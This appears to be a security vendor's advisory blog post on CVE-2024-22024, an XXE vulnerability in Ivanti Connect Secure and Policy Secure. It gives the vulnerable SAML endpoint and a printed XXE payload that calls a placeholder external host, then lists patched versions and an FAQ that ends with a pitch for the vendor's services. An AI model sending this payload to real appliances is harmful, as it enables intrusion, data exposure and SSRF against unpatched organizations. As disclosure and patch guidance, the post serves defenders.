CVE-2024-22024, a newly disclosed vulnerability affecting Ivanti Connect Secure and Ivanti Policy Secure software, poses a significant threat to network security. These software solutions, utilized for connecting devices to virtual private networks (VPNs), are vulnerable to exploitation by remote attackers through maliciously crafted XML files. What exacerbates the situation is the existence of a known, publicly accessible exploit, heightening the urgency for immediate action.
This vulnerability, the latest in a series of high and critical vulnerabilities discovered within a single month (CVE-2024-21893, CVE-2024-21887, CVE-2024-21888), underscores the importance of robust security measures in the face of evolving threats. Particularly concerning is the detection of exploitation of previous vulnerabilities in the wild, raising the possibility of similar exploitation of CVE-2024-22024.
Ivanti Connect Secure and Ivanti Policy Secure, originally developed by Pulse Secure before Ivanti’s acquisition in 2020, are pivotal software solutions facilitating secure communications and network management through VPNs. Organizations utilizing these solutions must prioritize prompt patching and proactive security measures to mitigate the risk posed by CVE-2024-22024 and similar vulnerabilities, safeguarding their network infrastructure from potential exploitation and data breaches.
Exploitation Methodology
Exploitation of this vulnerability necessitates the availability of the web service to the attacker. The vulnerable endpoint identified is “/dana-na/auth/saml-sso.cgi”
Burp Request :
To exploit it, the attacker simply needs to craft a POST request containing a parameter named “SAMLRequest”, with a malicious XML payload. This payload should include an entity referencing either internal server resources or external addresses.
Burp Request :
The Base64-encoded payload is employed for transmission.
Payload:
<?xml version=”1.0″ ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM “http://{{external-host}}/x”> %xxe;]><r></r>
To exploit this vulnerability, the payload should be sent as a SAMLRequest parameter to the endpoint 127.0.0.1/dana-na/auth/saml-sso.cgi. The intention is to prompt the vulnerable application (Ivanti Connect Secure) to parse the XML document and interact with the external entity referenced in the payload, potentially resulting in unauthorized access or other security compromises.
Recommendation
The recommended course of action is to promptly update the Ivanti software to one of the recently patched versions that address this vulnerability. Specifically, for each respective product line, the following versions are advised:
- Ivanti Connect Secure: Versions 9.1R14.5, 9.1R17.3, 9.1R18.4, 22.4R2.3, 22.5R1.2, 22.5R2.3, and 22.6R2.2
- Ivanti Policy Secure: Versions 9.1R17.3, 9.1R18.4, and 22.5R1.2
- ZTA gateways: Versions 22.5R1.6, 22.6R1.5, and 22.6R1.7
Concluding Thoughts
CVE-2024-22024 presents a serious vulnerability in Ivanti Connect Secure and Ivanti Policy Secure software. The existence of a public exploit and the potential for remote attackers to gain unauthorized access to sensitive data necessitates immediate action. Organizations relying on these solutions should prioritize patching their systems to the latest versions mentioned in the recommendation section. This vulnerability highlights the critical need for robust security practices and continuous vigilance against evolving threats. By implementing prompt patching procedures and maintaining proactive security measures, organizations can safeguard their network infrastructure and prevent potential security breaches.
Frequently Asked Questions (FAQs)
CVE-2024-22024 is a high-severity XML External Entity (XXE) vulnerability affecting Ivanti Connect Secure and Ivanti Policy Secure that could allow remote attackers to exploit vulnerable systems using specially crafted XML payloads.
2. Which Ivanti products are affected?
The vulnerability affects certain versions of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti ZTA Gateways before the patched releases provided by Ivanti.
3. How is CVE-2024-22024 exploited?
Attackers can send a malicious XML payload through the vulnerable SAML authentication endpoint (/dana-na/auth/saml-sso.cgi), potentially triggering an XXE attack if the vulnerable service processes the request.
4. What are the potential impacts of this vulnerability?
Successful exploitation could expose sensitive information, enable unauthorized access to internal resources, facilitate server-side request forgery (SSRF), and potentially aid further compromise of the affected environment.
5. Is there a public exploit available for CVE-2024-22024?
Yes. Publicly available proof-of-concept (PoC) exploit code has increased the likelihood of opportunistic attacks against unpatched systems.
6. How can organizations mitigate CVE-2024-22024?
The primary mitigation is to upgrade affected Ivanti products to the latest patched versions released by Ivanti. Organizations should also monitor VPN appliances, restrict unnecessary internet exposure, and review security logs for suspicious activity.
7. How can I determine if my Ivanti appliance is vulnerable?
Verify the software version running on your appliance and compare it with Ivanti’s list of patched releases. Organizations should also perform vulnerability assessments to identify exposed and vulnerable systems.
8. Why are VPN appliances frequently targeted by attackers?
VPN gateways are internet-facing systems that provide remote access to enterprise networks. Because they often serve as entry points into corporate environments, they are attractive targets for threat actors seeking initial access.
9. What additional security measures should organizations implement?
In addition to patching, organizations should enable continuous monitoring, conduct regular penetration testing, implement network segmentation, enforce multi-factor authentication (MFA), and maintain a robust incident response plan.
10. How can ValueMentor help protect against vulnerabilities like CVE-2024-22024?
ValueMentor provides end-to-end cybersecurity services, including vulnerability assessments, penetration testing, attack surface management, managed detection and response (MDR), threat hunting, and incident response to help organizations identify, remediate, and defend against critical security vulnerabilities.
